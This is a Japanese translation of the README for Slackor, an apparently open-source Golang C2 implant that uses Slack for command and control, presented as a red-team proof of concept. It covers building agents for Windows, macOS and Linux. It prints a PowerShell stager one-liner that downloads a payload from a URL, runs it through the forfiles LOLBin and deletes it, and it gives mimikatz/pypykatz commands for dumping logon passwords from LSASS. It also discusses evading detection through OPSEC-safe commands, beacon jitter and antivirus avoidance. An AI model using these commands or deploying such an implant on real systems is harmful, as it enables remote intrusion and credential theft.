
SlackをC2サーバーとして使用するGolang製インプラント
メンテナンス元: https://github.com/n00py/Slackor
Slackをコマンド&コントロールチャネルとして使用するGolang製インプラントです。
このプロジェクトはGcatとTwittorに触発されました。
このツールは概念実証としてリリースされています。Slackアプリを作成する前に、Slack App Developer Policyを読んで理解してください。
注: サーバーはPython 3で書かれています
これを機能させるには以下が必要です:
このリポジトリには5つのファイルが含まれています:
install.sh - 依存関係をインストールsetup.py - Slackチャンネル、データベース、インプラントを作成するスクリプトagent.py - 新しいインプラントを生成するスクリプトserver.py - Slackorサーバー(Linux上で動作するように設計)agent.go - Golangインプラントrequirements.txt - Python依存関係(自動インストール)開始するには:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shを実行setup.pyを実行
スクリプトが正常に実行されると、dist/ディレクトリにいくつかのファイルが作成されます:
agent.windows.exe: Windows 64ビットバイナリagent.upx.exe: Windows 64ビットバイナリ、UPX圧縮agent.darwin: macOS 64ビットバイナリagent.32.linux: Linux 32ビットバイナリagent.64.linux: Linux 64ビットバイナリLinuxホストでserver.pyを起動した後、ターゲットホストに適したエージェントを実行してください。
"stager"モジュールを実行して、ワンライナーや他のドロッパーを生成します。
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
これにより、InvokeWebRequest(PS v.3+)を使用してペイロードをダウンロードし、LOLBinを使用して実行し、その後プロセスが終了すると自分自身を削除します。これは動作する例ですが、コマンドは別のダウンロード方法や実行方法に変更できます。
"help"と入力するか、[TAB]キーを押すと利用可能なコマンドのリストが表示されます。"help [COMMAND]"と入力するとそのコマンドの説明が表示されます。
(Slackor)
エージェントがチェックインしたら、対話できます。 "interact [AGENT]"を使用してエージェントプロンプトに入ります。"help"と入力するか、[TAB]キーを押すと利用可能なコマンドのリストが表示されます。
(Slackor:AGENT)
コマンドの出力とダウンロードされたファイルは、SlackのTLSトランスポート暗号化に加えてAESで暗号化されています。
モジュールはディスクに書き込むタスクを実行する前に警告を表示します。
シェルコマンドを実行する際、cmd.exe/bashが実行されることに注意してください。これはホスト上で監視される可能性があります。
以下はcmd.exe/bashを実行しないOPSEC上安全なコマンドです:
レッドチーム/ペネトレーションテストに使用しても安全ですか?
はい、いくつかの条件下で安全です。データは転送中に暗号化されますが、エージェントには復号鍵が含まれています。エージェントのコピーを入手した者は、リバースエンジニアリングしてAPIキーやAES秘密鍵を抽出できる可能性があります。ワークスペースを侵害したりアクセスを得た者は、その中のすべてのデータを取得できます。そのため、複数の組織に対してインフラストラクチャを再利用することは推奨されません。
Mimikatzについては?
インプラントにはメモリ内のパスワードダンプ機能はありません。logonPasswordsが必要な場合は、以下を試してください:
(Slackor: AGENT)minidump
これにより、Pypykatzを使用して自動的にパスワードが抽出されます。代替として、Windows上でMimikatzを使用できます。
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
クロスプラットフォームですか?
制限付きのクロスプラットフォームサポートがあります。実行可能なすべてのシステムで完全にテストされているわけではありません。サーバーはKali Linuxで動作するように設計されています。エージェントはWindows、Mac、Linux用にコンパイルされていますが、主にWindows 10でテストされています。エージェントはそのプラットフォームでサポートされていないコマンドを誤って処理する可能性があります(Macでminidumpを試みないでください)。
スケーラビリティはどうですか?
スケーラビリティはSlack APIによって制限されます。複数のエージェントがいる場合、使用していないビーコンのビーコン間隔を増やすことを検討してください。
標準的なビーコン分析に対して脆弱ですか?
現在、各ビーコンには20%のジッターが組み込まれており、ビーコン時間はカスタマイズできます。エージェントのチェックイン要求と応答パケットは、新しいコマンドが受信されない限り毎回ほぼ同じサイズになります。
より良い方法[y]があるのに、なぜ[x]をしたのですか?
最善を尽くしました。PRは歓迎します :)
AVに引っかかります!
現在オープンソースになっているため、問題が発生することは避けられません。可能な限りモジュールを修正しますが、常にすべてのAVを回避できる保証はありません。